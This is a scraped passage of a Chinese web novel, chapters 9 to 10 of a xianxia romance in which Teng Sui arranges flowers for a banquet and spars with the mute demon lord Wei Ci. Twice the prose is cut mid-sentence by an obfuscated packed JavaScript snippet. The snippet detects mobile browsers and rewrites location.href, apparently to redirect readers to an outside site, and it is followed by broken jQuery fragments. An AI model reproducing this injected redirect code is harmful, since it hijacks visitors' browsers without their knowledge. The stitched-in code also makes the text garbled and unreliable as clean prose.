滕岁顿悟,一双圆眼弯成两个月牙儿,原来危慈是在和她别扭地道歉啊。 他睡醒后的第一件事,就是特意跑过来为之前的事道歉吗? 她笑得开怀,耳垂上挂着的琉璃坠子也跟着摇摇摆摆,脸上染上粉嫩嫩的春色,“我向你道歉,对不起,我不该在破庙对你发脾气,都是肚子太饿惹的祸,害我失去理智,你放心,我一定会替你找到解药的。” 对上滕岁那双盈溢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136061|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着清澈、真诚的眼睛,危慈心跳加快,像只小鹅般扬着头,别开了视线。 【行了,本座知道了。】 滕岁给危慈也安排了一个小木扎,叫他自己挑个角落坐下,可他偏偏看中了周意之的位置,双腿钉在地上似的,不肯挪动。 滕岁给他说了许多好话,也没说动他。最后还是秦得之害怕他又发起病,赶紧扯着周意之给这尊大佛让坐。 事实胜于雄辩,遇到有病的脑残碰瓷,咱们就让让吧。 危慈对这些花啊草的没兴趣,待了一会,实在百无聊赖,连连打了好几个哈欠。 “怎么样,好不好看?” 滕岁埋头苦干,终于装饰好了一个花瓶,她捧着花瓶向危慈展示,语气上扬,带着一丝不易察觉的小得意。 危慈看过去,花瓶中簇着满满当当的花骨朵,挨得紧密却错落有致,少女的小脸从花枝探出来,眼巴巴地盼着他的夸奖。 他喉咙轻滚,忽觉口干舌燥,端着架子敷衍道:【花有什么好看的。】 滕岁哼一声,将花瓶向周围人展示一圈,心道狗嘴里吐不出象牙。 危慈继续讽道:【你不满意本座的回答?如果你能潜心修炼,提升自己实力,成为真正的强者,就可以让弱者臣服。届时,你想听到什么,想做什么,全由你主宰。】 滕岁拨弄花枝的手一顿,意识到危慈好像对于成为强者有种莫名的执着。她反驳道:“可那样的夸赞,都不是真心实意的。” 危慈起身,伸了个懒腰,不以为然:【那又怎样,世上能有几颗真心?夫妻缘分不过逢场作戏,骨肉亲情也抵不过利欲熏心,更遑论相交相知的几分投契。】 【你的想法太可笑了。就算你寻到一颗真心,你又怎么能保证爱人忠贞不渝,亲人初心不改,友人相守不离?】 雨势渐收,天空放晴,他走进阳光里,覆盖下一道颀长的影子。 【要是某天,你最信任的人辜负了你,在背后捅你一刀,你若软弱无能连反击的能力都没有,那个时候你还会傻傻地问,‘你不是对我一片真心吗?’】 滕岁听得分明,危慈的话平静而犀利,可他本人却不这么觉得。 他的脸上带着轻快放浪的笑意,说出这些剖白人心、揭露丑态的话让他愉悦极了。那双桃花眼,眼尾上扬,勾得人心神摇曳、想入非非。 薄唇启合间,好像有种什么魔力,足以蛊惑人心,让人相信那些荒唐话,甚至付诸行动,死心塌地地追随。 滕岁一不留神就看入了迷,连呼吸都忘了。她居然觉得危慈说得话有几分道理,下意识点了点头。 半晌,不知想到了什么,她的眼眶有些微微湿润,“他们都走了,只有我一个人还在那里,我不想回去。” 【哦?】危慈没有太过意外她的反应,缓缓走过来,居高临下的身影覆下,恰好遮住她脸上的泪光。 滕岁垂头,看着那些烂漫绽放的花枝儿,心头酸酸的。 她曾以为爸爸会守着妈妈种的花一辈子,妈妈也会爱着这些花一辈子,可最后,爸爸爱上了别人,妈妈有了新家庭,只剩她,还在守着花。 她不想回去。 滕岁沉默不语,眼泪啪塔啪塔地往下掉,像断了线的水珠。 周围人迷迷糊糊都不知道究竟发生了什么事,他们只能看到滕岁不用比划,似乎用一种心灵互通的方式就能与哑巴兄沟通。 危慈的笑意变浅,伸手想去擦掉那碍眼的眼泪,刚伸到一半,就被截胡了。 周意之递了块折叠整齐的小方帕,担忧道:“岁岁…姑娘怎么了?可是想到什么伤心事了?” 滕岁被这一声唤回神,才恍然惊醒,脸蛋红扑扑,慌忙接过帕子,擦擦眼泪,“多谢。” 她她她在干什么啊?怎么突然哭了,还多愁善感地想起这些陈年旧事了? 危慈瞪了一眼周意之,不爽的心情写在脸上,【本座自有分寸,多管闲事。】 滕岁撇撇嘴,她知道了,是危慈步步引诱她,用心魔的方式给她洗脑,让她想起这些不好的事情,让她当众丢脸。 实在、实在是太狡猾了!太令人讨厌了! 10. 第 10 章 滕岁这下丢脸丢大了,眼泪在眼眶里打转一圈,又憋了回去,整个人像套了个袋子,笼罩在难为情的情绪里。 她从来没有在别人面前提起过这些事情,那些童年悲伤的小事都被她隐藏掩盖得很好,哪怕是爸爸妈妈也没看出来。 可就在刚刚,她差点将那些事说出来。 在亲戚长辈眼中,滕岁是个通透懂事、嘴甜伶俐的小大人,在父母离婚各自奔向新欢的时候,也能怀揣祝福去参加他们的婚礼。 可在她自己心里,如果不装作毫不在意这些,她可能连再见到爸爸妈妈的机会都没有。 她一直觉得,自己就是个被遗弃、被讨厌的多余者。 滕岁甩了甩头,将那些自怨自艾的想法甩开,面上的悲伤之色散去,露出坚定的眼神。 没什么的,她以后不会再上危慈的当了,他不值得信任。 滕岁哭完后,神色恢复得出奇的快,也冷静得反常,可就是越这样,才越让人担心,总觉得她是把情绪都憋在心里。 秦得之和周意之相视一眼,十分想安慰滕岁,却都没什么安慰人的经验,措辞了一番,结结巴巴地说了几个字词。 滕岁看出他们的意思,不想让朋友们担忧,抿唇露出一个柔和的笑容,“我没事。不过刚刚的事,你们就当没发生过,可以吗?” 秦得之点头如捣蒜,周意之也是一脸郑重地答应,周遭跟着帮忙筹备赏花宴的丫鬟小厮纷纷附和。 至于危慈……滕岁没去瞧他的反应。 她折了一枝开正盛的花送给了周意之,“周大哥,我身上暂时没有银钱,这点心意希望你不要嫌弃,算我欠你一个人情,谢谢你的帕子。” 周意之的五官清秀,眉眼整齐,眼神明亮,给人一种文弱书生的气息,和五岳观豪情壮气相比,反差明显。 他蹭蹭地从脸红到耳根,像是要熟透了,接过花枝,喜爱之情溢于言表,“怎么会嫌弃,只要是岁岁…姑娘给在下的东西,在下绝不会嫌弃。” 院子里满枝繁叶,柳嫩花红,清冽微风拂过,摇落枝上坠着的水珠,清脆如铃铛,缠在二人的笑声里,一起颤颤抖动。 这声音往危慈的耳朵里钻,无论如何,都无法忽略。 吵。 危慈沉不住气地冲过去想打断他们的谈话,脑海里却浮现出滕岁方才悲伤的模样,心中的烦躁更甚。 滕岁余光瞥到他发上的系带飘动,极强的杀意显现。 切,她硬着头皮,朝他竖了个笔直的中指。 去你的魔尊,我鄙视你一辈子。 危慈额角青筋直跳,牙都快咬碎了,【好,很好,你想要和本座作对,那本座便奉陪到底。】 滕岁看着他气愤离开的背影,有些又气又无奈,这下好了,盟友没结成,结上仇了。 临近傍晚,刘府在滕岁的带领下,已将赏花宴的装饰布置好了一半。 院子里馥郁芬芳,本是黑白灰三色单调的院落,此刻精致有序地缀上了姹紫嫣红的花卉。 封氏见了惊喜得合不拢嘴,拉着滕岁简直把她从上到下夸了一遍,赐了她一些首饰。 滕岁跟着周意之寻了家当铺将首饰都换成银两,又把这些银子全部用来买了件高级传讯法宝。 那小商贩说此法宝虽只能用一次,却是传递秘报必备之物,只需写明详细的地址和收讯人的姓名,即可直达其手中,且阅后即焚。 滕岁咬牙买下,感到肉疼,用它给原身的姐姐写了封信,告知对方自己一切平安,不必担忧,待事情办好,自会回去宗门请罪。 * 转眼到了锁微秘境开启的前一日,刘府赏花宴如期开宴。 危慈在府中随意乱转,他不能说话,气质又因这几日心情烦闷而愈显阴冷。 虽生的仪表堂堂、身段挺拔,在人群中格外惹眼,却也没几个人敢主动靠近、与他搭话。 危慈在前院待了会,没看到滕岁的身影,却听两位韶华女子站在一棵树下,对着面铜镜细细端详鬓边。 一女子道:“你头上的簪花花式好别致,我在中都这么多年从来没见过呢。” 持铜镜的女子含笑指着后院的方向:“这是刘家府上的岁岁姑娘给我簪的,好多人都在那排队呢,你也去呗。” 听闻后,危慈眉间的躁郁稍散些,走到那持镜女子跟前,眼神落到她头上斜插在发髻的数簇艳花上。 那女子没见过像危慈这般俊朗出尘、气度不凡的人物,被他的皮囊迷惑,羞怯怯地低下了头,轻声道:“这位公子,有什么事吗?” 危慈轻笑,笑得那女子的心更颤,紧紧攥住了袖角,身体也僵硬了。 可她垂着头,半晌未听到想象中君子清脆如玉般的声音,而是同伴的一声惊呼。 危慈咬破了指尖,在她额前添了一道刺目的血痕。 持镜女子惊退两步,指尖触到额角粘稠的液体,蒙辱的泪水伴着惶恐夺眶而出。 危慈满意她的反应,发自内心地笑了出来,纵使这笑十分恶劣,也难免让人晃神荡漾在里边。 此刻,持镜女子终于发觉眼前这人是个不能招惹的疯子,携着同伴跌跌撞撞地逃离,仍是惊魂未定。 危慈望着她们仓皇的背影,想告诉她这张脸寡淡无味,他只是在给这簇艳花配点颜色。 可惜她听不到,真没意思。 忽而他的神情又变得不可接近。 只有滕岁能听到。 一想到她,危慈平静如深潭的内心激起一阵阵涟漪。 他不喜欢这种感觉。 那日,危慈本来也是想这样戏耍滕岁,可真正看到她落泪时,却全然没有半点如今的愉悦。 他抬步,往后院方向走去,绕过几道抄手游廊,穿过月洞门,在假山浓荫的角落花榭里看到了正替女子们簪发插.花的滕岁。 她极为专注,围坐着一群绮罗霓裳、花绕云鬓的官家小姐,而她自己只以白蕊珠钗半束青丝,简单簪了个发髻。 簪花挽发是滕岁高中时期勤工俭学练就的手艺,她以前会在广场摆摊,赚些零钱补贴。 今日她在后院偶遇一小姐,夸她发式新奇好看,她便撷了些花给她也簪了个头,没承想这一簪,就吸引了不少女眷围拢过来。 滕岁已在这花榭呆了一整个上午,数不清簪了多少个头,收获了多少好评夸赞,在此起彼伏的惊叹声里,感到十分有成就感。 王小姐是最后一个“客人”,滕岁活动了下手腕,收拾石桌上的残余花瓣,猝不及防被她摇了摇肩膀。 “岁岁姑娘,那个人好像一直看着你诶,这位公子是谁啊,长得好生俊美。” 滕岁循着王小姐的目光看去,与危慈的视线撞个正着。 他双手交于胸前,无所事事地靠在不远处石门边,院墙高立的修竹疏影斜斜映着,衬得他身段挺拔,肩宽腰窄。 滕岁暗啐了句:装模作样。 在先前的事没了结前,她不想看到危慈。 不过,王小姐显然是误会了什么,而且绝对误会得很离谱。 她一副“我都明白,我都知道,我来解决”的表情,掩帕轻笑,意味深长道:“时辰快到了,前院要开席了,姑娘们我们走吧。” 王小姐带着聚集在后院赏花的小姐们离开时,阻拦了想要一起跟过去的滕岁,甚至都没给她个解释的话口。 转瞬,后院繁花绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136062|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶满院,只剩下了滕岁和危慈,嬉笑声和琅琅的珠钗相击声慢慢远去,独留二人相视无言的尴尬。 自那日他们俩闹别扭后,就鲜少再有过交流,滕岁察觉到他刻意且频繁地出现在她面前。 光是从今日算起,到现在的时辰,滕岁就已经碰上了他不下五次,每次二人眼神对上,都是电光火石,在暗暗较劲。 危慈直勾勾地盯着滕岁,下巴微扬,带着少年的傲气。 少女也不服输,紧紧咬唇,势必这一次要在气势这块彻底赢过对方。 她昂首挺胸,眼睛睁大,想要达到目眦尽裂的效果来震慑对手,身后无形的小火焰也越烧越旺。 奈何滕岁的眼角微钝,瞳仁黑又大,即使将眼眶将睁到最大限度,也没有任何威慑力。 落在危慈眼中,她的这副样子又蠢又好笑,他自己都未察觉,紧抿的嘴角松懈了些,微微上扬。 【你确定要为了那个姓周的蠢货,和本座作对?】他冷言冷语道,【你会死的很惨。】 什么叫为了姓周的蠢货?他脑子有病吗?这跟周意之有什么关系? 滕岁学着他的样子抱臂,摆起架子生气道:“我不是为了他跟你作对,你不觉得你随便窥探别人的内心的行为很过分吗?” 危慈注意到她的动作,嘴角又扬起一丝弧度,【那天你进入本座的魔种内,不是也没经过本座的肯允?难道只允许你窥探本座,不肯让本座看看你的心吗?】 他说的理所当然。 滕岁一不留神,竟没意识到话中的不妥,指尖一下一下轻叩在手臂上,“那也不该在那种场合。那么多人,我一说出来,大家都知道了。” 【你只想本座知道?】 滕岁摇摇头,“这是我的秘密,我谁都不想告诉。” 危慈的笑又变得不冷不热了,【可你也知道了本座的秘密,一个本座连自己都尚不知晓的秘密。】 滕岁的好奇心被勾住,“什么?” 危慈觉得滕岁简直蠢笨如猪,直截了当道:【在魔种的幻境里,你看到了些什么?】 滕岁想了想,越说声音越小,道:“五年前人魔大战的景象,你自爆了魔种,不战而降,手里还握着一块木牌,下场…凄凉。” 她没将危慈喊她名字的事说出来,她觉得说出来危慈也不会相信,就连她自己也不信。 滕岁本以为危慈听到自己在五年前这么窝囊,会暴跳如雷、气急败坏,结果他并没有,只是颇为不甘地再问道:【自爆魔种?】 他知道那时是出了点意外,也察觉到自己的魔种有过自爆的痕迹,但他完全回想不起来那究竟是怎么回事。 危慈的记忆从那之后便消失了一部分,就像一条直线,中间凭空消失了一些片段,断断续续,他难以适应。 要维持气势的念头被滕岁抛之脑后,她眯起眼问道:“你不知道那些事吗?” 危慈不置可否,并不想承认他失忆之事,继而探究道:【那木牌是什么?】 他果然是失忆了,滕岁心头一动,那不就只有她知道那时发生的事了? 她鬓边几缕碎发轻飘,一抿红唇,露出一个不怀好意的笑容,“你向我道歉,我才告诉你。” 少女的嗓音清亮,宛如饱满甜香的红苹果,咬上一口脆生生的,率直中又带着几分娇憨。 她鬓边簪着珠白花蕊,散出丝丝缕缕的沁甜的花香,缠在风中。 这话落时,院子里其余的花香都好似散消,剩下那独独一缕。 危慈鼻尖堪堪嗅到一点,便感到心闷气短,连呼吸都滞涩了。 滕岁眼睛滴溜溜地转,“我不为难你,只要说对不起三个字就行,很简单的。”